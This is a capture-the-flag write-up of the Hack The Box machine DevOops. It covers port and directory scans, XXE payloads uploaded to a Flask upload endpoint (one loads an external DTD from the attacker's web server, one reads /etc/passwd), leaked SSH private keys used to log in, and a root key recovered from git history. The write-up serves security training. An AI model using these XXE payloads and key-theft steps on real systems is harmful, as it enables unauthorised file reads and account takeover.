DevOops is another ‘more challenging’ than OSCP boxes from TJNull’s list.
nmap first.
Nmap
nmap -sV -Pn --min-rate 10000 -p- 10.10.10.91 |tee -a devoops.txt
Nmap scan report for 10.10.10.91
Host is up (0.11s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn 19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Gobuster
gobuster dir -u http://10.10.10.91:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.py,.txt,.asp,.aspx,.sh
/feed
seems to show a png with info about aws.
/upload
may be a possible vector of attack.
I make a test.xml file to upload, to see if it will work.
<note>
<Author>sh1n0bi</Author>
<Subject>testes</Subject>
<Content>testes...testes...1...2...3???</Content>
</note>
The result is reflected on the webpage.
make evil.xml:
<!--?xml version="1.0" ?-->
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://10.10.14.24/1.dtd">%remote;%int;%trick;]>
<note>
<Author>&b;</Author>
<Subject>sh1n</Subject>
<Content>Reminder</Content>
</note>
This will call 1.dtd from Kali through the python webserver
python3 -m http.server 80
contents of 1.dtd:
<p class="p1"><!ENTITY b SYSTEM "file:///etc/passwd" ></p>
500 server error....didnt work....
Create mal.xml, this one doesn’t require 1.dtd
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<Author>foo</Author>
<Subject>HTB</Subject>
<Content>&xxe;</Content>
</creds>
The result was not entirely what was expected:
We’ve ended up with a private id_rsa key, likely for user roosa
mentioned in the filepath.
Copy its contents as rsa_key
chmod 600 rsa_key
Then try to ssh into the target as roosa.
ssh -i rsa_key roosa@10.10.10.91
It works! we now have roosa’s shell…and the user flag.
roosa@gitter:~$ cat user.txt
c5xxxxxxxxxxxxxxxxxxxxxxxxxxxx7b
roosa@gitter:~$
Privilege Escalation
The .bash_history
is readable
roosa@gitter:~$ cat .bash_history
ssh-keygen --help
ssh-keygen
ls -altr .ssh/
cat .ssh/id_rsa.pub
nano /etc/host
nano /etc/hostname
sudo nano /etc/hostname
exit
nano .ssh/id_rsa.pub
exit
ssh git@localhost
exit
ssh git@localhost
clear
apt-get upgrade
exit
ls -altr
mkdir work
cd work
mkdir blogfeed
git init
git add .
git commit -m 'initial commit'
git config --global user.email "roosa@solita.fi"
git config --global user.name "Roosa Hakkerson"
git commit -m 'initial commit'
nano README-MD
nano README-md
nano README.md
git add README.md
git commit -m 'initial commit'
git remote add origin git@localhost:/srv/git/blogfeed.git
git push origin master
exit
ps -Af
kill 27499
exit
sudo su -
exit
groups
exit
git push origin master
cd work/blogfeed/
git push origin master
cd ..
cd blogfeed/
cd ..
git add README.md
git commit -m 'Initial commit'
git push
git log
ls
nano integration/auth_credentials.key/
ls -altr
chmod go-rwx authcredentials.key
ls -atlr
cd ..
ls -altr
chmod -R o-rwx .
ls -altr
ls resources/
ls resources/integration/
ls -altr resources/
ls -altr resources/integration/
rm -Rf resources/integration/auth_credentials.key
mv resources/authcredentials.key resources/integration/
git add resources/integration/authcredentials.key
git commit -m 'add key for feed integration from tnerprise backend'
ls -altr resources/integration/
git push
ssh-keygen
ös -altr
ls .altr
ls -altr
cat kak
cp kak resources/integration/authcredentials.key
git add resources/integration/authcredentials.key
git commit -m 'reverted accidental commit with proper key'
git push
ls -altr
rm kak
rm kak.pub
git log
<--snip-->
Besides running the gunicorn.sh file (which runs the webservice), the user seems to work
a lot with git
.
There’s a work
folder in the user’s home directory, and another inside called blogfeed
.
It also seems that the user generated new authentication keys.
cd work/blogfeed
git log -p
The log is long, and reveals another private ssh key.
My experience of git is very limited, but it looks like the key with each line preceeded with a minus (-) is being replaced with that whose lines start with pluses (+)
It also helps that my terminal has the outgoing as coloured red and the incomming as green.
I copypaste the green key to Kali, and remove the +
in each line…
I follow the same proceedure as before…saving the file this time as rkey
chmod 600 rkey
use it to login via ssh as root:
ssh -i rkey root@10.10.10.91
Getting the root flag is a simple formality from here.
:)